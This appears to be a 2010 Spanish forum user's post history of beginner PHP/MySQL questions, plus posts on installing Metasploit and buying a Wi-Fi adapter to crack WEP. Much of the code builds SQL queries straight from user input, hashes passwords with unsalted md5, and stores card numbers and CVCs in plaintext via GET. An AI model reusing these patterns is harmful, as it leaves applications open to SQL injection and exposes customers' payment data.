Y me devuelve el valor de el usuario, en este caso admin, lo que no entiendo es por que si ahi si me pasa el valor, porque entonces
$propietarioArticulo=($_SESSION['noUsuario']);
en realidad es =''...

Saludos
#24
PHP / Ayuda con script login
4 Agosto 2010, 01:58 AM
Buenas, según yo este script debe funcionar, pero al comparar los password introducidos por el usuario en el campo password con el password de la base de datos aparece el mensaje de error.

NOTA: El password en la base de datos esta en md5, por lo cual siento que este script debe funcionar porque los dos son iguales.


<?php 
session_start
();
include(
"conex.php");

$link=Conectarse();
$noUsuario=$_POST['noUsuario'];
$password=md5($_POST['password']);

$querymysql_query("SELECT noUsuario,password FROM Usuarios WHERE noUsuario='$noUsuario'",$link) or die(mysql_error());
$data mysql_fetch_array($query);

if (
$noUsuario=='') { 
echo 
'
<table width="70%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td bgcolor="#FFF"><br/><br/><br/>'
;
	
//Mensaje de campos vacios.
    
echo "<center><strong>Campos Usuario o Contraseña Incorrectos<br/>Por favor llene correctamente los campos. USER<br/><a href='javascript:history.go(-1)'> Atras</a></strong></center>";
	
	
echo 
'</td>
  </tr>
</table><br/><br/><br/>'
;
mysql_close($query);
	
exit;
}

elseif ((
$password !='')||($data['password']!=$password)) {
echo 
'
<table width="70%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td bgcolor="#FFF"><br/><br/><br/>'
;
    echo 
"<center><strong>Campos Usuario o Contraseña Incorrectos<br/>Por favor llene correctamente los campos. PWD<br/><a href='javascript:history.go(-1)'> Atras</a></strong></center>";
	
	
	
echo 
'</td>
  </tr>
</table><br/><br/><br/>'
;
mysql_close($query);
exit;

    }else{
    
$query mysql_query("SELECT noUsuario,password FROM Usuarios WHERE noUsuario = '$noUsuario' AND password='$password'",$link) or die(mysql_error());
    
$row mysql_fetch_array($query);

    
$_SESSION['noUsuario'] = $row['noUsuario'];  
	
$_SESSION['password'] = $row['password'];
echo 
'<br/><br/><br/>
<table width="70%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td bgcolor="#FFF">'
;
	
echo 
"<center><strong>".$row['noUsuario']."<br/><a href='javascript:history.go(-1)'> Atras</a></strong></center>";
	
echo 
'</td>
  </tr>
</table><br/><br/><br/>'
;
mysql_close($query);
exit;
}
?>


Bueno, Muchas gracias por su ayuda para localizar el error.
Saludos  ;)
#25
PHP / Comprobacion PHP
3 Agosto 2010, 23:34 PM
Bueno pues resulta que he tratado ya varias veces de diferentes formulas con este script pero no me funciona.
Lo que quiero es un script que verifique si el campo existe ya en la base de datos, si existe envia mensaje de error, si no procede a mandar formulario.

Esto es algo así como lo que quiero:


$queryUser
=mysql_query("SELECT noUsuario FROM Usuarios WHERE noUsuario='$noUsuario'",$link)or die(mysql_error());
$queryMail=mysql_query("SELECT mail FROM Usuarios WHERE mail='$mail'",$link)or die(mysql_error());
if (
$queryMail==$mail or $queryUser==$noUsuario) {
echo 
"Usuario o correo existente."
}else{
//Aquí se procesa el formulario.. 


No entiendo que esta mal, he probado con diferentes sentencias SQL pero parece que todas las que he probado están mal.
Muchas gracias a todos por la ayudadita que me puedan dar.


Saludos  :)
#26
Hola a todos :)

Tengo un problema con el upload de imagenes, este carga y en la base de datos muestra en el campo de imagen BLOB [BLOB - 42.6   KiB] y quiero creer que se ha cargado la imagen, pero cuando quiero que se muestre la imagen no se muestra, aparece como link roto, y quiero saber que estoy haciendo mal..
Este script lo tome de una pagina lo probé y funciona, yo le hice unos cambios a la inserción a la base de datos y a la sentencia SELECT

Formulario
<form enctype="multipart/form-data" action="insertarFotoArticulo.php" method="post" name="changer">
<input name="MAX_FILE_SIZE" value="102400" type="hidden">
<input name="image" accept="image/jpeg" type="file">
<input value="Submit" type="submit"><br /><br />

$link=Conectarse();
if (isset(
$_FILES['image']) && $_FILES['image']['size'] > 0) { 
      
$tmpName  $_FILES['image']['tmp_name'];         
      
$fp      fopen($tmpName'r');
      
$data fread($fpfilesize($tmpName));
      
$data addslashes($data);
      
fclose($fp);    
      
$query "INSERT INTO Catalogo ";
      
$query .= "(imagen) VALUES ('$data')";
      
$results mysql_query($query$link);      
//Muestra resultado
       
$results mysql_query("SELECT imagen FROM Catalogo WHERE numeracionArticulos=12",$link);
       
$result_array mysql_fetch_array($result);
       
header("Content-Type: image/jpeg");
       echo 
$result_array[0];


Muchas Gracias por su ayuda.
Saludos.
#27
Buenas, estaba tratando de instalar Metasploit y ya estaba descargando todos los exploits, pero de pronto se cerro la conexion.
Y ahora cuando quiero volverlos a descargar:

root@hackertop:/opt/MSF# svn co http://metasploit.com/svn/framework3/trunk/
svn: OPTIONS de «http://metasploit.com/svn/framework3/trunk»: no se pudo establecer la conexión con el servidor (http://metasploit.com)


Y cuando quiero hacer svn update:

root@hackertop:/opt/MSF# svn update
Omitiendo '.'

#28
Hola! Bueno pues ya estoy desesperado..
Mi tarjeta Broadcom 4311 rev 01 nunca pudo ponerse en modo monitor, lei mil tutoriales y demas y no funciona.
Entonces quiero comprar otra, he visto varias marcas, pero no encuentro ninguna que pueda comprar por internet o en alguna tienda (Mexico);
realmente no me importa pagar lo que sea, solamente quiero saber que marca y modelo funciona 100% sin fallos para usarla ya sea en ubuntu o wifislax para crackear weps..

Espero porfavor me puedan brindar su ayuda.
NOTA: Ya he visto mil veces las listas de las tarjetas como por ejemplo: http://foro.portalhacker.net/index.php/topic,104026.0.html y asi muchas mas, pero me confundo.
He buscado en mercadolibre, ebay, y nada :(
Cabe mencionar que llevo mas de un año tratando de crackear pero nadamas no lo he logrado por falta de un buen adaptador.

Muchas Gracias por su ayuda.
#29
PHP / Ayuda con script md5 para e.ncriptar..
11 Abril 2010, 22:24 PM
Saque el script de el manual de MD5 de php.net, lo que pasa es que creo que estoy un poco confundido y no puedo sacar bien el output..
hice echo en $stored_seed pero al parecer no me funciona.
<?php
echo "<form action='encrypt_md5secure.php' method='post'>";
echo 
"Text to encrypt <input type='text' name='encrypt' />";
echo 
"<input type='submit' value='encrypt now'/>";
echo 
"</form>";
$encrypt=$_post['encrypt'];
echo 
$stored_seed;
function 
pw_encode($encrypt)
{
   for (
$i 1$i <= 8$i++)
   
$seed .= substr('0123456789abcdef'rand(0,15), 1);
   return 
md5($seed.$encrypt).$seed;
}
function 
pw_check($encrypt,$stored_value)
{
   
$stored_seed substr($stored_value,32,8);
   if (
md5($stored_seed.$encrypt).$stored_seed == $stored_value)
      return 
TRUE;
   else
      return 
FALSE;
}
?>



Ojala me puedan instruir un poco.
Muchas gracias.
#30
PHP / PHP en Ubuntu y Dreamweaver
11 Abril 2010, 03:21 AM
Bueno pues ya que no he logrado instalar Dreamweaver con wine en Ubuntu, me preguntaba si alguien de ustedes sabe de algun programa parecido a Dreamweaver, donde se puedan editar desde los codigos de PHP, HTML, CSS, etc.. hasta ver el preview de los mismos.
Intente con KompoZer pero solo soporta HTML..

Espero me puedan ayudar.
Saludos  ;)
#31
Estaba leyendo un manual de las sesiones, en el cual explica que se pueden manejar las sesiones con o sin cookies..
pero cual es mejor??

Muchas Gracias.
Saludos.
#32
PHP / Duda sobre Arreglos PHP.
20 Marzo 2010, 00:13 AM
Hola a todos!
     
     Bueno, ando leyendo el libro de PHP y MySQL para Dummies ya que de verdad es muy bueno; pero me surgio algo que no entiendo del todo, es acerda de Arreglos PHP (Para quienes lo tienen vease la Pag. 155 del Capitulo 7 en la parte 3) ya lo he leido 3 veces pero me he perdido... Esta parte menciona que los arreglos PHP almacenan un grupo de valores en una sola variable, hasta aqui vamos bien, pero mas adelante, en la Pag. 161 da un ejemplo con $infocamisa el cual posterior mente ingresa 2 nuevas variables: $primervalor,$segundovalor; hasta aqui tambien vamos bien.. pero mas adelante en la pag. 163 da un ejemplo que utiliza foreach:


$capitales = array ( "CA" => "Sacramento", "TX" => "Austin", "OR" => "Salem" );
ksort($capitales);
foreach($capitales as $estado => $ciudad)
{
    echo "$ciudad, $estado<br>";
}


lo que no entiendo es como es que salieron las variables $estado y $ciudad..
Lo que deduzco es que foreach las creo, pero no se si estoy en lo correcto, y si es asi - o no - porque dentro del enunciado foreach esta usando " => " entre las variables?

Espero me puedan ayudar un poco con esto.
Les dejo aqui un link con el libro que en lo personal recomiendo ampliamente para los que no saben nada de PHP.

http://www.megaupload.com/?d=HH2E15EA
Pass: www.utopilandia.co.cc
#33
He intentado de varias formas, pero creo que no va por ahi.

<?php
include("validdb.php");
$link=Conectarse();
$user=$_SESSION['username']
$result=mysql_query("select * from message where userto='.$user.'",$link);
?>

He intentado:

$result=mysql_query("select * from message where userto='$user'",$link);
$result=mysql_query("select * from message where userto="$user"",$link);
$result=mysql_query("select * from message where userto='.$user.'",$link)


Saludoos xD
#34
PHP / Ayuda con listado de usuarios.
26 Febrero 2010, 23:22 PM
Buenas  :laugh:

  En un formulario que estoy haciendo, tengo que poner un menu/lista, pero quiero que este menu/lista muestre los usuarios actuales de la tabla staff. Y tengo el siguiente codigo que yo hice, pero al parecer no funciona :(
<!-- SEND MESSAGE TO A USER -->
<form id="form1" name="form1" method="post" action="insertmessage.php">
<label><br />  
   TO:
   <select name="show_users" id="show_users">
   <!-- SHOW USER FROM TABLE STAFF -->
   <?php
   
include("validdb.php");
   
$result=mysql_query("select * from staff") or die(mysql_error());
   while(
$row mysql_fetch_array($result))
    {
      echo 
"<option>".$row[user]."</option>";  
   }
   
mysql_free_result($result);
?>

   </select>
</label>


Alguna idea?? Muchas Gracias:D
Me da error en la linea 25 que es:
$result=mysql_query("select * from staff") or die(mysql_error());
pero no entiendo porque, la tabla si existe "staff".. y validdb.php es correcto
#35
Estoy haciendo un pequeño sistema de reservaciones para el lugar donde trabajo y aunque me he quemado el coco pensando como podria hacer para que esta tabla funcione nadamas no doi.
Esta tabla muestra habitaciones y muestra los numeros de 1 al 31 (eso de poner los numeros automaticamente segun el mes lo hare mas adelante) este es el codigo de la tabla:

<table border="1" align="center">
  <tr>
    <td>&nbsp;</td>
    <td>01</td>
    <td>02</td>
    <td>03</td>
    <td>04</td>
    <td>05</td>
    <td>06</td>
    <td>07</td>
    <td>08</td>
    <td>09</td>
    <td>10</td>
    <td>11</td>
    <td>12</td>
    <td>13</td>
    <td>14</td>
    <td>15</td>
    <td>16</td>
    <td>17</td>
    <td>18</td>
    <td>19</td>
    <td>20</td>
    <td>21</td>
    <td>22</td>
    <td>23</td>
    <td>24</td>
    <td>25</td>
    <td>26</td>
    <td>27</td>
    <td>28</td>
    <td>29</td>
    <td>30</td>
    <td>31</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>Room 1</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 1</td>
  </tr>
  <tr>
    <td>Room 2</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 2</td>
  </tr>
  <tr>
    <td>Room 3</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 3</td>
  </tr>
  <tr>
    <td>Room 4</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 4</td>
  </tr>
  <tr>
    <td>Room 5</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 5</td>
  </tr>
  <tr>
    <td>Room 6</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 6</td>
  </tr>
  <tr>
    <td>Room 7</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 7</td>
  </tr>
  <tr>
    <td>Room 8</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 8</td>
  </tr>
  <tr>
    <td>Room 9</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Room 9</td>
  </tr>
  <tr>
    <td>Mansion 1</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Mansion 1</td>
  </tr>
  <tr>
    <td>Mansion 2</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Mansion 2</td>
  </tr>
  <tr>
    <td>Mansion 3</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Mansion 3</td>
  </tr>
  <tr>
    <td>Condo 1</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Condo 1</td>
  </tr>
  <tr>
    <td>Condo 2</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Condo 2</td>
  </tr>
  <tr>
    <td>Condo 3</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>Condo 3</td>
  </tr>
</table>

En realidad lo que quiero es que si el cliente Mr. Test reservo de el 15/Enero/2010 al 19/Febrero/2010 aparezca en esta tabla marcando todos los dias en los que estara hospeado Mr. Test, ya sea con un color o con puro texto, que sea su nombre que sea un link a la infomacion del cliente. Pero no se me ocurre, alguien me puede dar una manita o algun dato porfavor?

Se los agradeceria muchisimo.
#36
PHP / Problema al ingresar registros a una Tabla
18 Febrero 2010, 20:00 PM
Despues de intentar varias cosas y al ver que ninguna tubo resultado es mi deber postear mi problema en el foro  ;-)

El problema es este:
Tengo un formulario "newclient.html" con action="validform.php"; que toma los datos del cliente y los inserta en la tabla 'clientlist' pero el problema es que cuando inserta los registros, los ingresa vacios, es decir.. Al registrar al cliente con ID 1 el nombre, apellido, bla bla bla.. estan en blanco, aunque el formulario haya sido llenado correctamente.
<form id="form1" name="form1" method="get" action="validform.php">
<table width="253" border="0" align="center" cellpadding="0" cellspacing="0">
 <tr>
   <td width="82">name ::</td>
   <td width="165"><label>
     <input type="text" name="name" id="name" />
   </label></td>
 </tr>
 <tr>
   <td>surname ::</td>
   <td><label>
     <input type="text" name="last_name" id="last_name" />
   </label></td>
 </tr>
 <tr>
   <td><p>gender ::</p></td>
   <td><label>
     <select name="gender" size="1" id="gender">
       <option selected="selected">male</option>
       <option>female</option>
       <option>shemale</option>
     </select>
   </label></td>
 </tr>
 <tr>
   <td>birthdate ::</td>
   <td><label>
     <input type="text" name="birthdate" id="birthdate" />
   </label></td>
 </tr>
 <tr>
   <td><p>mail ::</p></td>
   <td><label>
     <input type="text" name="mail" id="mail" />
   </label></td>
 </tr>
 <tr>
   <td>phone ::</td>
   <td><label>
     <input type="text" name="phone" id="phone" />
   </label></td>
 </tr>
 <tr>
   <td>emergency ::</td>
   <td><label>
     <input type="text" name="emerg_phone" id="emerg_phone" />
   </label></td>
 </tr>
 <tr>
   <td>cc_num ::</td>
   <td><label>
     <input type="text" name="cc_info" id="cc_info" />
   </label></td>
 </tr>
 <tr>
   <td>&nbsp;</td>
   <td><label>
     cvc:
     <input type="text" name="cvc" id="cvc" />
   </label>
     <label>
       <br />
       exp:
       <input type="text" name="exp" id="exp" />
   </label></td>
 </tr>
 <tr>
   <td>comments ::</td>
   <td><label>
     <textarea name="comments" id="comments" cols="25" rows="3"></textarea>
   </label></td>
 </tr>
 <tr>
   <td>&nbsp;</td>
   <td><label>
     <input type="submit" name="send" id="send" value="Enviar" />
   </label></td>
 </tr>
</table>
</form>

*El formulario es muy simple porque lo rehice y es de prueba

en "validform.php" tengo:
<?php
include("validdb.php");
$link=Conectarse();
$no=$_GET["ID"];
$name=$_GET["name"];
$last_name=$_GET["last_name"];
$phone=$_GET["phone"];
$emerg_phone=$_GET["emerg_phone"];
$mail=$_GET["mail"];
$gender=$_GET["gender"];
$birthdate=$_GET["birthdate"];
$cc_info=$_GET["cc_info"];
$cvc=$_GET["cvc"];
$exp=$_GET["exp"];
$comments=$_GET["comments"];
mysql_query("insert into clientlist (ID,name,last_name,phone,emerg_phone,mail,gender,birthdate,cc_info,cvc,exp,comments) values ('$no','$name','$last_name','$phone','$emerg_phone','$mail','$gender','$birthdate','$cc_info','$cvc','$exp','$comments')",$link) or die(mysql_error());
header('Location: clientlist.php'
?>


El codigo en validdb.php es completamente correcto, tanto lo es que ingresa los campos vacios a la db.
Como dato: Todo este proceso funcionaba a la perfeccion, pero cuando agrege un campo a la tabla en clientlist.php para Borrar los registros -que tambien funciono perfectamente- desde ahi empeze a tener problemas con la insercion de registros.
Aunque lo mas raro -para mi- fue que hasta intente cambiando de servidor y el problema persiste.
<?php
   
include("validdb.php");
   
$link=Conectarse();
   
$result=mysql_query("select * from clientlist",$link) or die(mysql_error());
?>

<table height="36" border=1 align="center" cellpadding=0 cellspacing=0>
  <tr>
    <td width="12" height="14" bgcolor="#FFCC00"><b> # </b></td>
    <td width="49" bgcolor="#FF6600"><b> Name</b></td>
    <td width="46" bgcolor="#FFCC00"><b>Last Name</b></td>
    <td width="50" bgcolor="#FF6600"><b>Phone</b></td>
    <td width="64" bgcolor="#FFCC00"><b>Emerg Phone</b></td>
    <td width="40" bgcolor="#FF6600"><b>Email</b></td>
    <td width="41" bgcolor="#FFCC00"><b>Gender</b></td>
    <td width="58" bgcolor="#FF6600"><b>Brithdate</b></td>
    <td width="99" bgcolor="#FFCC00"><b>CC num</b></td>
    <td width="26" bgcolor="#FF6600"><b>CVC</b></td>
    <td width="43" bgcolor="#FFCC00"><b>EXP</b></td>
    <td width="123" bgcolor="#FF6600"><b>Comments</b></td>
    <td width="63" bgcolor="#FFCC00"><b>Delete</b></td>
  </tr>

  <?php  
   
while($row mysql_fetch_array($result))
    {
      
printf("<tr><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td><a href=\"borra_client.php?id=%d\">Delete</a></td></tr>",$row["ID"],$row["name"],$row["last_name"],$row["phone"],$row["emerg_phone"],$row["mail"],$row["gender"],$row["birthdate"],$row["cc_info"],$row["cvc"],$row["exp"],$row["comments"],$row["ID"]) or die(mysql_error());
   }
   
   
mysql_free_result($result);
   
